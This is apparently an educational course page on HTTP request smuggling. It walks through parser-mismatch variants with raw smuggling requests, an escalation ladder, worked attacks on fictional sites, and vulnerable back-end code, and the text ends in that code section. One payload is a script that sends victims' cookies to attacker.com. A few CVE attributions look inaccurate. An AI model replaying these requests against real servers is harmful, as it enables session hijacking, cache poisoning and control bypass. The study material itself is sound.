Request HandlingHardServer-Side

HTTP Request Smuggling

A complete guide to understanding, detecting, exploiting, and preventing HTTP Request Smuggling vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

HTTP REQUEST SMUGGLING

ANAS EDUCATION (AnaSchool) Cybersecurity course. V2 beginner-first edition.

CWE-444 ==> Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling)

SECTION 1. Introduction

Imagine you open your PC and visit `anasmarket.anastech.com`.

You go to the search bar. You type `shoes`. You press Enter.

In the next half-second, your browser sends an HTTP request that travels through more than one server before reaching the application. Modern websites almost never expose a single machine to the internet. There is usually a chain:

text
You (browser)  ==>  Front-end server (CDN / reverse proxy / load balancer)  ==>  Back-end server (the real app)

The front-end server (a CDN like Cloudflare, a reverse proxy like Nginx, or a load balancer) sits at the edge. It receives the request first, performs security checks, then forwards the request to the back-end server (your actual application running on Node.js, Tomcat, Apache, Gunicorn, IIS).

To save resources, the front-end usually keeps one long TCP connection open to the back-end and sends many requests over it, one after the other:

text
Front-end  ==>  REQUEST 1 ==> REQUEST 2 ==> REQUEST 3 ==> ...  ==>  Back-end

That works only if both servers agree on one thing: where one request ends and the next one begins.

If they disagree, the back-end will read part of the next request as if it were the body of the previous one. Or it will read the previous one as two requests. That is the entire bug class. It is called HTTP request smuggling (also called HTTP desync).

Here is the simplest example. The HTTP/1.1 specification defines two ways to tell a server how long a request body is:

  • `Content-Length: 11` ==> the body is exactly 11 bytes.
  • `Transfer-Encoding: chunked` ==> the body is a series of chunks ending with `0\r\n\r\n`.

What happens if a request has both headers at the same time? The specification says: ignore `Content-Length`, use `Transfer-Encoding`. But not every server agrees. Some still use `Content-Length`. Some are tricked into ignoring `Transfer-Encoding` if you spell it slightly differently.

Now look at the same picture again, but with a question on top of it:

  • What if you send a request where the front-end uses `Content-Length` and the back-end uses `Transfer-Encoding`?

You send:

text
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • The front-end reads `Content-Length: 13` and counts 13 bytes: `0\r\n\r\nSMUGGLED`. It thinks that is one complete request. Send to back-end.
  • The back-end reads `Transfer-Encoding: chunked`. It sees `0\r\n\r\n` and thinks the request ended right there. The string `SMUGGLED` is leftover. The back-end treats `SMUGGLED` as the start of the NEXT request.

When the next innocent user makes a request through that same TCP connection, their request gets glued to your leftover bytes:

text
SMUGGLEDGET /account HTTP/1.1
Cookie: session=victim_session
...

The back-end now sees a request like `SMUGGLEDGET /account` with the victim's cookies attached. Garbage URL, but the cookies are real. Replace `SMUGGLED` with a real attack and you have a weapon that hijacks other users' requests, poisons web caches, bypasses front-end security controls, and steals session cookies.

That is HTTP request smuggling. The whole bug class lives in the gap between two parsers reading the same bytes differently.

By the end of this course you will know:

  • The five main variants: CL.TE, TE.CL, TE.TE, CL.0, and HTTP/2 downgrade (H2.CL, H2.TE).
  • How to detect each variant using timing-based probes.
  • How to confirm each variant using differential responses.
  • 25+ exploitation techniques: bypassing security controls, capturing other users' requests, reflected XSS via smuggling, web cache poisoning, web cache deception, response queue poisoning, request tunnelling, client-side desync, and pause-based desync.
  • How to weaponize smuggling on real bug bounty targets.
  • The newest 2025 vectors: chunk-extension smuggling, OPTIONS+body smuggling, parser-discrepancy attacks, TE.0 smuggling against Google Cloud.
  • How to fix the bug at the server level, the proxy level, and the protocol level.

You do not need to be a network expert. You only need to read carefully. Every byte matters in this bug. Get used to counting bytes.

SECTION 2. How It Works

To find these bugs, you must first understand exactly how HTTP/1.1 measures the length of a request body. Get this part right and the entire bug class becomes easy.

Step 1. The two length headers

An HTTP/1.1 request body can be measured in only two ways.

Method 1: Content-Length.

http
POST /login HTTP/1.1
Host: anasmarket.anastech.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=anas&password=1234

The header `Content-Length: 27` tells the server: "read exactly 27 bytes after the blank line, then stop. That is the body."

Method 2: Transfer-Encoding: chunked.

http
POST /login HTTP/1.1
Host: anasmarket.anastech.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

1b
username=anas&password=1234
0

The header `Transfer-Encoding: chunked` tells the server: "read a series of chunks. Each chunk starts with its size in hexadecimal, then a `\r\n`, then the chunk bytes, then a `\r\n`. The request ends when you see a chunk of size `0`."

So `1b` is hexadecimal for 27. Then 27 bytes of body. Then `0` to mark the end. Then a final blank line.

Both methods are valid HTTP/1.1. Both produce the same body. The choice is up to the client.

Step 2. The conflict: what if BOTH headers are present?

The HTTP/1.1 specification (RFC 7230, replaced by RFC 9112) is clear:

  • If both `Content-Length` and `Transfer-Encoding` are present, the server must ignore `Content-Length` and use `Transfer-Encoding`.
  • Or the server should reject the request as malformed.

But "must" in a spec is a polite suggestion. In the real world, servers do whatever their parsing library does, and parsing libraries vary.

  • Some old servers do not understand `Transfer-Encoding` at all and fall back to `Content-Length`.
  • Some new servers prefer `Transfer-Encoding` but can be tricked into ignoring it by a small change in spelling.
  • Some load balancers normalize the headers and forward only one. Others forward both.

The bug exists because the front-end and the back-end are usually different software. The front-end might be Cloudflare or Nginx. The back-end might be Tomcat or Node.js. They parse independently.

Step 3. The normal flow (no smuggling)

text
+----------------+                                +----------------+
|    BROWSER     |                                |   FRONT-END    |
|                |                                |  (CDN / proxy) |
+-------+--------+                                +-------+--------+
        |                                                 |
        |  POST / HTTP/1.1                                |
        |  Host: anasmarket.anastech.com                  |
        |  Content-Length: 27                             |
        |                                                 |
        |  username=anas&password=1234                    |
        |  =====>                                         |
        |                                                 |
        |                       passes filters            |
        |                                                 |
        |                                                 |
        |                                                 |  +----------------+
        |                                                 |  |    BACK-END    |
        |                                                 |  |   (Tomcat,     |
        |                                                 |  |    Node.js)    |
        |                                                 |  +-------+--------+
        |                                                 |          |
        |                                                 |  =====>  |
        |                                                 |          |
        |  HTTP/1.1 200 OK                                |  <=====  |
        |  <=====                                         |          |

Both servers agree on the boundary. Request fully consumed. Response returned. Connection ready for the next request.

Step 4. The vulnerable flow (CL.TE smuggling)

You craft a request that has both `Content-Length` and `Transfer-Encoding`. The front-end uses `Content-Length`. The back-end uses `Transfer-Encoding`.

text
+----------------+                                +----------------+
|    ATTACKER    |                                |   FRONT-END    |
|                |                                |  (uses CL)     |
+-------+--------+                                +-------+--------+
        |                                                 |
        |  POST / HTTP/1.1                                |
        |  Content-Length: 13                             |
        |  Transfer-Encoding: chunked                     |
        |                                                 |
        |  0                                              |
        |                                                 |
        |  SMUGGLED                                       |
        |  =====>                                         |
        |                                                 |
        |              Front-end reads 13 bytes:          |
        |              "0\r\n\r\nSMUGGLED"                |
        |              That is "the request".             |
        |              Forwarded as a single request.     |
        |                                                 |
        |                                                 |  +----------------+
        |                                                 |  |    BACK-END    |
        |                                                 |  |   (uses TE)    |
        |                                                 |  +-------+--------+
        |                                                 |          |
        |                                                 |  =====>  |
        |                                                 |          |
        |                                                 |  Back-end reads
        |                                                 |  TE: chunked.
        |                                                 |  Sees "0\r\n\r\n".
        |                                                 |  Request ends.
        |                                                 |  "SMUGGLED" is
        |                                                 |  leftover in
        |                                                 |  the buffer.
        |                                                 |          |

Now any other user whose request arrives next on that connection gets `SMUGGLED` prepended:

text
SMUGGLEDGET /home HTTP/1.1
Host: anasmarket.anastech.com
Cookie: session=victim_cookie

The back-end reads `SMUGGLEDGET` as the HTTP method, returns an error or unexpected behavior, and the victim sees the corrupted response.

Step 5. The five core variants

  • CL.TE ==> front-end uses Content-Length, back-end uses Transfer-Encoding.
  • TE.CL ==> front-end uses Transfer-Encoding, back-end uses Content-Length.
  • TE.TE ==> both speak Transfer-Encoding, but you obfuscate one header so only one server processes it.
  • CL.0 ==> back-end treats the body as zero bytes (ignores both length headers).
  • HTTP/2 downgrade ==> H2.CL or H2.TE where the front-end speaks HTTP/2 to the client and HTTP/1.1 to the back-end. Headers get translated and ambiguity sneaks in.

You will master each one in Section 11.

Step 6. Why this bug exists

Two reasons, simple to state:

  • HTTP/1.1 has two equally legal ways to describe message length.
  • Modern architectures put two different parsers in the same request path.

The intersection of those two facts is the bug. The fix is to use HTTP/2 end to end (one length mechanism, no ambiguity). The world does not do that, so the bug class keeps producing CVEs in 2025 and 2026.

SECTION 3. Attack Flow

This section walks you through one full CL.TE attack on `anasmarket.anastech.com` from the first probe to the final impact. No characters. Just labelled steps.

Step 1. Map the architecture

You open Burp Suite and browse `anasmarket.anastech.com`. You read the response headers:

http
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Via: 1.1 anasmarket.anastech.com
X-Cache: HIT from edge-3.cdn.anastech.com
  • `Via:` and `X-Cache:` tell you there is a CDN or reverse proxy in front of the back-end. Two parsers in the chain means smuggling is possible.
  • `Server: Apache-Coyote/1.1` tells you the back-end is Tomcat.

Step 2. Send a timing probe (CL.TE side)

You send this request and watch the response time:

http
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X
  • If the back-end uses Transfer-Encoding (CL.TE pattern), it reads chunk `1` (one byte: `A`), then sees `X` where it expected the next chunk size. It waits for more data. Eventually it times out.
  • If the response takes 5+ seconds, that is your first strong signal.

The front-end sees `Content-Length: 4` and forwards 4 bytes of body. The back-end reads chunked, expects more chunks, hangs. Timing delay.

Step 3. Send the opposite timing probe (TE.CL side)

http
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Length: 6
Transfer-Encoding: chunked

0


X
  • If the back-end uses Content-Length (TE.CL pattern), it reads 6 bytes (`0\r\n\r\nX`) but the front-end might not forward the full payload depending on its parsing.
  • A timing delay in the other direction signals TE.CL.

Step 4. Confirm with a differential response

Now you stop timing and use differential responses. You craft a request that, if smuggling works, will cause a clearly different response on the next innocent request through the same connection. Classic CL.TE confirmation:

http
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Length: 32
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-foo: X
  • First send: you get a normal 200 OK.
  • Second send: the back-end serves the leftover `GET /404` to the next request, returning a 404.

If the second send returns 404 (or any clearly different status), you have confirmed CL.TE smuggling.

The header `X-foo: X` at the end is a fake header. Its only job is to "swallow" the leading bytes of whatever real request comes next, so the back-end does not parse those bytes as broken HTTP and close the connection.

Step 5. Escalate to bypass front-end security

The front-end probably blocks access to `/admin` for external clients. The back-end usually does not check (it assumes the front-end already did). You smuggle an admin request through:

http
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin/users HTTP/1.1
Host: anasmarket.anastech.com
X-foo: X

The smuggled `GET /admin/users` is processed by the back-end as if it came from the trusted front-end. You get the admin user list.

Step 6. Capture other users' requests

You smuggle a request that posts data to a public endpoint (like a forum or comment endpoint). The body of your smuggled request includes the start of a `comment=` parameter. When the next innocent user's request arrives on the same connection, their full request becomes the rest of your `comment=` value:

http
POST / HTTP/1.1
Host: anasmarket.anastech.com
Content-Length: 800
Transfer-Encoding: chunked

0

POST /post-comment HTTP/1.1
Host: anasmarket.anastech.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=your_own_cookie

comment=

The victim's `Cookie: session=...` and any sensitive headers get posted as a comment on your account. Refresh the comment page. There they are.

Step 7. Hijack an authenticated session

Once you have the victim's cookie, you can replay their session. You log in as them. Game over for that user.

text
+----------+                                              +----------+
| ATTACKER |                                              | VICTIM   |
+----+-----+                                              +----+-----+
     |                                                         |
     | step 4: smuggle "comment=" with 600 Content-Length      |
     |  ===========================================>           |
     |                                                         |
     |                                                         |  step 5:
     |                                                         |  victim
     |                                                         |  browses
     |                                                         |  normally
     |                                                         |
     |    back-end glues victim's request as comment body      |
     |                                                         |
     |                                                         |
     | step 6: read comments page                              |
     |  ===========================================>           |
     |                                                         |
     |     victim's cookies, headers, URL all visible          |
     |                                                         |
     | step 7: replay cookie ==> full account takeover         |

The whole flow takes minutes. The victim never knows. They saw a 404 once and refreshed.

Step 8. Real-world chain

In a real engagement, smuggling chains into multiple bug classes:

  • Smuggling + reflected XSS on a non-vulnerable path ==> persistent XSS for every user.
  • Smuggling + Host header attack ==> bypass any "internal only" admin panel.
  • Smuggling + web cache ==> poison the homepage, mass-XSS every visitor.
  • Smuggling + queue poisoning ==> every user gets every other user's response in a random order.

The damage is huge because the bug lives in shared infrastructure. One vulnerable load balancer affects every user behind it.

SECTION 4. Why Developers Make This Mistake

Smuggling is rarely a developer's fault. It is an infrastructure flaw. But developers and ops teams still create the conditions that let it happen. Here are the mental shortcuts that produce smuggling bugs.

Shortcut 1. "The CDN handles security. We do not need to validate."

The back-end developer assumes the CDN at the edge has already blocked malicious requests. They write the back-end as if every request is trusted, because by the time it reaches the back-end it has "passed the front-end".

That assumption is the entire point of smuggling. The attack is precisely about making the front-end forward something the back-end interprets differently. Trust is broken between the two hops, and the back-end is the one that gets exploited.

The fix is to never trust the front-end. Validate authentication, host, IP, and request structure at the back-end too.

Shortcut 2. "We use HTTP/2 internally, so we are safe."

Many teams hear "HTTP/2 is immune to smuggling" and stop there. The detail they miss: their CDN speaks HTTP/2 to the client but downgrades to HTTP/1.1 when forwarding to the origin. This is called HTTP downgrading. It is the most common production setup in 2025.

The moment HTTP downgrading is in the chain, smuggling is back. HTTP/2 pseudo-headers like `:method`, `:authority`, and `:path` get translated to HTTP/1.1 request lines and headers. A malicious HTTP/2 request can inject CRLF sequences into the rewritten HTTP/1.1 request and create ambiguity.

The fix is to use HTTP/2 end to end with no downgrade, or to enforce strict validation on the downgraded request.

Shortcut 3. "Both servers are RFC compliant."

RFC compliance is a goal, not a guarantee. The RFC has gray areas. The RFC has obsolete features (like line folding). Every parser implements the gray areas slightly differently.

For example, the RFC says a Transfer-Encoding header value should be processed case-insensitively. So `Transfer-Encoding: chunked` and `Transfer-Encoding: Chunked` should be equivalent. But some parsers do strict comparison. Some accept `xchunked`. Some accept leading whitespace. Each minor difference is a smuggling vector.

The fix is header normalization at the edge: rewrite incoming headers to a canonical form, then forward only the normalized version.

Shortcut 4. "Our reverse proxy reuses TCP connections to the back-end. That is just performance optimization."

Connection reuse is the multiplier that turns a smuggling bug into a session-hijacking bug. If every back-end request was on a fresh TCP connection, leftover bytes from a smuggled request would not glue onto a different user's request.

Many ops teams enable connection reuse for performance and never reconsider it. The fix is to disable connection reuse to the back-end (worse performance, but smuggling-safe), or to enforce strict request boundaries at both ends.

Shortcut 5. "Nobody uses chunked encoding anymore. Browsers send Content-Length."

It is true that browsers normally send Content-Length. Smuggling does not target browsers. It targets the request path between the front-end and back-end. An attacker uses Burp Suite or a raw socket, not a browser. The chunked encoding code path in your back-end is still reachable and still exploitable.

The fix is to assume every code path is reachable by an attacker, even paths "browsers do not use".

Shortcut 6. "We patched a smuggling CVE in 2022. We are fine now."

The smuggling bug class produces new variants every year. CVE-2025-55315 (Kestrel chunk extensions), CVE-2025-32094 (Akamai OPTIONS + obsolete line folding), CVE-2025-43859 (Python h11 line folding), CVE-2025-54142 (Akamai OPTIONS with body), the entire TE.0 cluster, the CL.0 cluster, the H2.CL cluster, the pause-based desync cluster.

Every year, new parsing quirks become new smuggling primitives. Patching is not enough. The architecture has to deny ambiguity by design.

Shortcut 7. "We use a WAF. The WAF catches smuggling."

A WAF inspects the request the front-end sees. If the back-end interprets the same bytes as a different request, the WAF never inspects that second request. The WAF can be cleanly bypassed.

This is, by the way, one of the main impacts of smuggling: bypassing WAFs, rate limits, and authentication enforced at the edge. The fix is to enforce all critical security checks at the back-end as well, not just at the edge.

SECTION 5. Beginner Summary

  • HTTP request smuggling happens because HTTP/1.1 has two ways to say "the body is this long" (Content-Length and Transfer-Encoding) and two servers in the chain (front-end and back-end) can disagree about which one to use.
  • The attacker sends one request that the front-end reads as a complete unit, but the back-end reads as TWO units. The extra "smuggled" unit gets glued onto whatever request comes next on that connection, usually a victim's request.
  • The five main variants are CL.TE, TE.CL, TE.TE, CL.0, and HTTP/2 downgrade (H2.CL, H2.TE). Each one comes from a different parser mismatch.
  • The impact is huge because the smuggled request inherits the victim's cookies, bypasses the front-end WAF, and can poison shared caches. A single smuggling bug can compromise every user behind that load balancer.
  • The fix is to use HTTP/2 end to end (no ambiguity in length), normalize headers at the front-end, and never trust that the front-end has validated the request for the back-end.

SECTION 6. Visual Explanation

Diagram 1: Normal request flow (no smuggling)

text
+----------+         +-----------+         +-----------+
| BROWSER  |         | FRONT-END |         | BACK-END  |
+----+-----+         +-----+-----+         +-----+-----+
     |                     |                     |
     |  Request 1          |                     |
     |-------------------->|                     |
     |                     |    Request 1        |
     |                     |-------------------->|
     |                     |                     |
     |                     |    Response 1       |
     |                     |<--------------------|
     |     Response 1      |                     |
     |<--------------------|                     |
     |                                           |
     |  Request 2          |                     |
     |-------------------->|                     |
     |                     |    Request 2        |
     |                     |-------------------->|
     |                     |    (same TCP)       |
     |                     |                     |

Two requests. Both servers agree where each one ends. Clean.

Diagram 2: CL.TE smuggling

text
+----------+         +-----------+         +-----------+
| ATTACKER |         | FRONT-END |         | BACK-END  |
|          |         | uses C-L  |         | uses T-E  |
+----+-----+         +-----+-----+         +-----+-----+
     |                     |                     |
     |  POST /             |                     |
     |  CL: 13             |                     |
     |  TE: chunked        |                     |
     |                     |                     |
     |  0\r\n\r\nSMUGGLED  |                     |
     |-------------------->|                     |
     |                     |  reads 13 bytes     |
     |                     |  forwards entire    |
     |                     |  payload as ONE     |
     |                     |  request            |
     |                     |-------------------->|
     |                     |                     |
     |                     |                     |  back-end reads
     |                     |                     |  T-E: chunked.
     |                     |                     |  sees 0\r\n\r\n.
     |                     |                     |  request ends.
     |                     |                     |  "SMUGGLED" is
     |                     |                     |  leftover in
     |                     |                     |  the socket
     |                     |                     |  buffer.
     |                     |                     |
+----------+               |                     |
| VICTIM   |               |                     |
+----+-----+               |                     |
     |  GET /home          |                     |
     |  Cookie: session=v  |                     |
     |-------------------->|                     |
     |                     |  forwards GET /home |
     |                     |-------------------->|
     |                     |                     |
     |                     |                     |  back-end now
     |                     |                     |  reads:
     |                     |                     |  "SMUGGLEDGET
     |                     |                     |   /home ..."
     |                     |                     |  malformed.
     |                     |                     |
     |                     |   400 Bad Request   |
     |                     |<--------------------|
     |   400 Bad Request   |                     |
     |<--------------------|                     |
     |                                           |
     |  Victim sees a strange error.             |
     |  Attacker's payload has been processed.   |

Diagram 3: TE.CL smuggling

text
+----------+         +-----------+         +-----------+
| ATTACKER |         | FRONT-END |         | BACK-END  |
|          |         | uses T-E  |         | uses C-L  |
+----+-----+         +-----+-----+         +-----+-----+
     |                     |                     |
     |  POST /             |                     |
     |  CL: 3              |                     |
     |  TE: chunked        |                     |
     |                     |                     |
     |  8\r\n              |                     |
     |  SMUGGLED\r\n       |                     |
     |  0\r\n\r\n          |                     |
     |-------------------->|                     |
     |                     |  reads chunks.      |
     |                     |  chunk 1 is 8 bytes |
     |                     |  ("SMUGGLED").      |
     |                     |  chunk 0 ends it.   |
     |                     |  forwards full body.|
     |                     |-------------------->|
     |                     |                     |
     |                     |                     |  back-end reads
     |                     |                     |  C-L: 3. takes
     |                     |                     |  only "8\r\n".
     |                     |                     |  request 1 ends.
     |                     |                     |  "SMUGGLED\r\n
     |                     |                     |   0\r\n\r\n" is
     |                     |                     |  leftover.
     |                     |                     |
     |                     |                     |  next request
     |                     |                     |  starts with
     |                     |                     |  "SMUGGLED".

Diagram 4: TE.TE obfuscation

text
+----------+         +-----------+         +-----------+
| ATTACKER |         | FRONT-END |         | BACK-END  |
|          |         | T-E aware |         | T-E aware |
+----+-----+         +-----+-----+         +-----+-----+
     |                     |                     |
     |  POST /             |                     |
     |  CL: 5              |                     |
     |  T-E: chunked       |                     |
     |  Transfer-Encoding  |                     |
     |  : x                |                     |
     |                     |                     |
     |  0\r\n\r\nABCDE     |                     |
     |-------------------->|                     |
     |                     |  sees TWO T-E       |
     |                     |  headers. takes     |
     |                     |  the last one ("x").|
     |                     |  invalid. falls     |
     |                     |  back to C-L.       |
     |                     |  reads 5 bytes.     |
     |                     |-------------------->|
     |                     |                     |
     |                     |                     |  takes first T-E
     |                     |                     |  ("chunked").
     |                     |                     |  reads chunked.
     |                     |                     |  request ends at
     |                     |                     |  0\r\n\r\n.
     |                     |                     |  "ABCDE" leftover.

Different parsers pick different headers when duplicates appear. That difference is the vulnerability.

Diagram 5: The exploitation escalation ladder

text
                +-----------------------------------+
                |  Confirmed smuggling primitive    |
                +-----------+-----------------------+
                            |
                            v
       +--------------------+--------------------+
       |                                         |
       v                                         v
+-------------+                          +----------------+
| Front-end   |                          | Back-end body  |
| header      |                          | length         |
| desync      |                          | desync         |
+------+------+                          +-------+--------+
       |                                         |
       v                                         v
+------+----------+              +---------------+----------+
| Bypass front-   |              | Capture other users'     |
| end controls    |              | requests / steal cookies |
| (admin paths,   |              +---------------+----------+
| auth, host)     |                              |
+------+----------+                              v
       |                            +------------+-----------+
       v                            | Replay session ==>     |
+------+----------+                 | full account takeover  |
| Admin RCE,      |                 +------------+-----------+
| user CRUD,      |                              |
| data exfil      |                              v
+-----------------+                 +------------+-----------+
                                    | Web cache poisoning ==>|
                                    | persistent XSS for ALL |
                                    | site visitors          |
                                    +------------+-----------+
                                                 |
                                                 v
                                    +------------+-----------+
                                    | Response queue poison =>
                                    | random users see admin |
                                    | responses              |
                                    +------------------------+

Every confirmed smuggling primitive can climb this ladder. Pick the rung that matches your engagement.

SECTION 7. Definition

Technical definition

HTTP Request Smuggling (HRS) is the exploitation of inconsistencies between two or more HTTP servers in the same request chain regarding the boundaries of HTTP/1.1 requests. The bug class is tracked under:

The vulnerability arises when one server (typically the front-end reverse proxy or CDN) and another server (typically the back-end origin) determine the length of an HTTP/1.1 message body using different rules. The HTTP/1.1 specification (RFC 9112 section 6) defines two length mechanisms:

  • `Content-Length` (a decimal byte count)
  • `Transfer-Encoding: chunked` (a sequence of size-prefixed chunks ending with `0\r\n\r\n`)

The specification requires that `Transfer-Encoding` take precedence when both are present, but real-world implementations vary. Variants include:

  • CL.TE ==> front-end uses Content-Length, back-end uses Transfer-Encoding.
  • TE.CL ==> front-end uses Transfer-Encoding, back-end uses Content-Length.
  • TE.TE ==> both speak Transfer-Encoding; one is induced to ignore the header through obfuscation.
  • CL.0 ==> back-end treats the body length as zero regardless of headers.
  • TE.0 ==> back-end treats Transfer-Encoding requests as if the body is zero length.
  • H2.CL / H2.TE ==> the request enters as HTTP/2 and is downgraded to HTTP/1.1, where new ambiguity appears.

The bytes that the back-end fails to consume become the prefix of the next HTTP request on the same TCP connection. The attacker controls those bytes. The next request is usually from a different user.

Beginner-friendly definition

HTTP request smuggling is when you send a single request that the first server reads as one request and the second server reads as two requests. The leftover "second request" sits in the queue and gets glued onto the next innocent person's traffic.

Why it matters

Smuggling is on the OWASP top of "fundamental protocol-level" bugs because:

  • It bypasses every security control enforced at the edge (WAF, rate limiting, authentication).
  • It hijacks other users' requests without touching their machine.
  • It poisons shared caches, multiplying impact across every visitor.
  • A single bug in a popular CDN or proxy affects millions of websites at once.

Recent CVEs in 2024 and 2025:

Real-world incidents include the 2024 Google Cloud TE.0 disclosure affecting thousands of websites behind Google Load Balancer, the Akamai 2025 platform-wide fix for OPTIONS+body smuggling, and dozens of public Cloudflare HackerOne reports paying $3,000 to $6,000 each.

Common affected systems

  • Reverse proxies: Nginx, HAProxy, Apache (mod_proxy), Caddy
  • CDNs: Cloudflare, Akamai, AWS CloudFront, Google Cloud Load Balancer, Fastly
  • Application servers: Apache Tomcat, Jetty, Node.js (Express), Gunicorn, uWSGI, Kestrel (.NET), IIS, Twisted
  • API gateways: Kong, Envoy, AWS API Gateway, Apigee
  • Service meshes: Istio, Linkerd, Consul Connect
  • WAFs: any WAF that does not strictly normalize headers before forwarding

If your stack has more than one HTTP server between the client and the app, smuggling is a possible bug class.

SECTION 8. Examples

Example 1. Smuggling on AnasMarket bypasses admin path restrictions

The feature. `anasmarket.anastech.com` runs Cloudflare in front of a Tomcat back-end. Cloudflare has a rule that blocks all external requests to `/admin/*`. The Tomcat back-end has no such rule. Internal microservices talk to `/admin/*` for catalog management.

The bug. The Cloudflare front-end uses Content-Length, but Tomcat uses Transfer-Encoding (a known CL.TE pattern in 2022-2023 Tomcat versions). You smuggle an `/admin/users` request through Cloudflare.

The attack step by step.

  • Step 1. You craft the smuggling probe with both `Content-Length: 60` and `Transfer-Encoding: chunked`.
  • Step 2. The body starts with `0\r\n\r\n` then contains `GET /admin/users HTTP/1.1\r\nHost: anasmarket.anastech.com\r\nX-foo: X\r\n\r\n`.
  • Step 3. Cloudflare reads `Content-Length: 60`, sees the entire payload as one request body, forwards it.
  • Step 4. Tomcat reads `Transfer-Encoding: chunked`, ends at `0\r\n\r\n`, treats the rest as a new request.
  • Step 5. Tomcat processes `GET /admin/users HTTP/1.1` as if it came from the trusted Cloudflare proxy. No path filter applies. Full admin user list returned.
  • Step 6. You receive the admin response on your next innocent GET to anasmarket.anastech.com. You read the user list and continue probing for admin features.

Example 2. Smuggling on AnasBank captures a victim's API key

The feature. `api.anasbank.com` lets users generate API keys through a POST endpoint at `/v1/keys`. The endpoint reflects the user's session cookie into the response.

The bug. The front-end load balancer reuses TCP connections to the back-end (default in HAProxy and Nginx). The back-end is vulnerable to TE.CL smuggling.

The attack step by step.

  • Step 1. You smuggle a `POST /comment` request with a long `Content-Length` that exceeds the actual body length.
  • Step 2. The body of the smuggled comment starts with `comment=`.
  • Step 3. The next real user's full HTTP request (method, path, headers, cookies, API key) becomes the rest of the `comment=` value.
  • Step 4. You retrieve the comment from the comments endpoint and read the victim's API key from the captured request.
  • Step 5. You use that API key to call `/v1/transfer` and move funds from the victim's account.

Example 3. Smuggling on AnasSocial delivers reflected XSS to every user

The feature. `anassocial.anastech.com` has a feature that echoes the `User-Agent` header back in an HTML comment. That alone is not exploitable; the user controls only their own User-Agent.

The bug. The site has a CL.TE smuggling vulnerability. You can smuggle a request with an attacker-chosen `User-Agent` to other users.

The attack step by step.

  • Step 1. You craft a CL.TE smuggling request whose smuggled body is a GET to `/profile` with `User-Agent: <script>document.location='https://attacker.com/'+document.cookie</script>`.
  • Step 2. The next innocent user's request arrives on the same connection. Their GET is processed AFTER your smuggled request, but the smuggled GET response is returned to them.
  • Step 3. The user sees a page where your `User-Agent` value is reflected inside HTML. Their browser executes the script.
  • Step 4. Their session cookie is sent to your server. Account takeover.

This turns a self-XSS into a one-click exploit on every visitor.

Example 4. Smuggling on AnasDocs poisons the web cache

The feature. `anasdocs.anastech.com` is served through Varnish for caching. Varnish caches `/docs/*` aggressively.

The bug. CL.TE smuggling lets you cache a poisoned response under a popular URL.

The attack step by step.

  • Step 1. You smuggle a request that the back-end interprets as `GET /docs/install` with an attacker-controlled Host header pointing to `attacker.com`.
  • Step 2. The back-end follows a redirect to `https://attacker.com/install`.
  • Step 3. Varnish caches the redirect response under the cache key `/docs/install`.
  • Step 4. Every user who visits `/docs/install` is redirected to attacker.com. Mass phishing payload distributed.

Example 5. Smuggling on AnasOne tunnels past WAF inspection

The feature. `anasone.anastech.com` uses AWS WAF + ALB in front of a Spring Boot back-end. AWS WAF blocks any request body containing the string `UNION SELECT` (a SQL injection signature).

The bug. You use HTTP/2 to HTTP/1.1 downgrade smuggling (H2.CL) to tunnel a request body that the WAF cannot inspect.

The attack step by step.

  • Step 1. You send an HTTP/2 request that ALB processes as a single legitimate request (no SQL keywords visible).
  • Step 2. The CL pseudo-header `content-length` you set is smaller than the actual body, so ALB downgrades and forwards only the first chunk. The rest sits in the buffer.
  • Step 3. The next request from any user (or yourself, in a new HTTP/2 stream) carries `' UNION SELECT 1,password FROM users--` glued at the start.
  • Step 4. The back-end processes the SQL injection as part of the new request. AWS WAF never inspected it because it arrived as "buffered bytes" outside WAF's view.
  • Step 5. The Spring Boot app returns password hashes.

SECTION 9. Vulnerable Code

Most smuggling vulnerabilities live in server software, not in application code. Still, application code can create or worsen the conditions. Here are realistic patterns across five languages.

Python (Flask) behind a buggy proxy

python
# Flask app at the back-end. The front-end is a reverse proxy
# that uses Content-Length while this Werkzeug-based app
# uses Transfer-Encoding. Application code does nothing wrong.
# The vulnerability is the proxy + this server combination.

from flask import Flask, request

app = Flask(__name__)

@app.route("/comment", methods=["POST"])
def post_comment():
    # No size limit, no header normalization at the app level.
    # The proxy is responsible for parsing. If the proxy disagrees
    # with Werkzeug about body length, smuggling happens.
    comment = request.form.get("comment", "")
    save_to_db(comment)
    return "OK"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

What is wrong: the developer assumes that the proxy in front parses HTTP correctly. There is no defensive validation against ambiguous length headers. If both `Content-Length` and `Transfer-Encoding` arrive at the back-end, Werkzeug will pick one and the proxy may have picked the other.

PHP behind Apache mod_proxy

php
<?php
// /var/www/html/profile.php
// Apache reverse proxy is in front. mod_proxy may forward
// duplicate or conflicting length headers without normalization.
// PHP-FPM trusts whatever Apache forwards.

$username = $_POST['username'];
$avatar_url = $_POST['avatar_url'];

// No length verification, no header inspection.
update_profile($username, $avatar_url);

echo "Profile updated.";
?>

What is wrong: PHP itself does not parse the wire format. It receives parsed POST variables from the SAPI layer. If Apache and PHP-FPM disagree about where a body ends, PHP-FPM may receive a partial body or an extra byte sequence. mod_proxy_ajp has had multiple smuggling CVEs (CVE-2022-26377, CVE-2022-28330).

Node.js (Express) on the back-end

javascript
// app.js
// Node.js 14 had several llhttp smuggling CVEs.
// CVE-2022-32213, CVE-2022-32215, CVE-2023-44487.
// In older versions, this app was vulnerable just by existing.

const express = require('express');
const app = express();

app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.post('/api/post', (req, res) => {
  const content = req.body.content;
  // No raw-body inspection, no rejection of dual length headers.
  // Older llhttp versions accepted ambiguous Transfer-Encoding.
  saveContent(content);
  res.send('ok');
});

app.listen(3000);

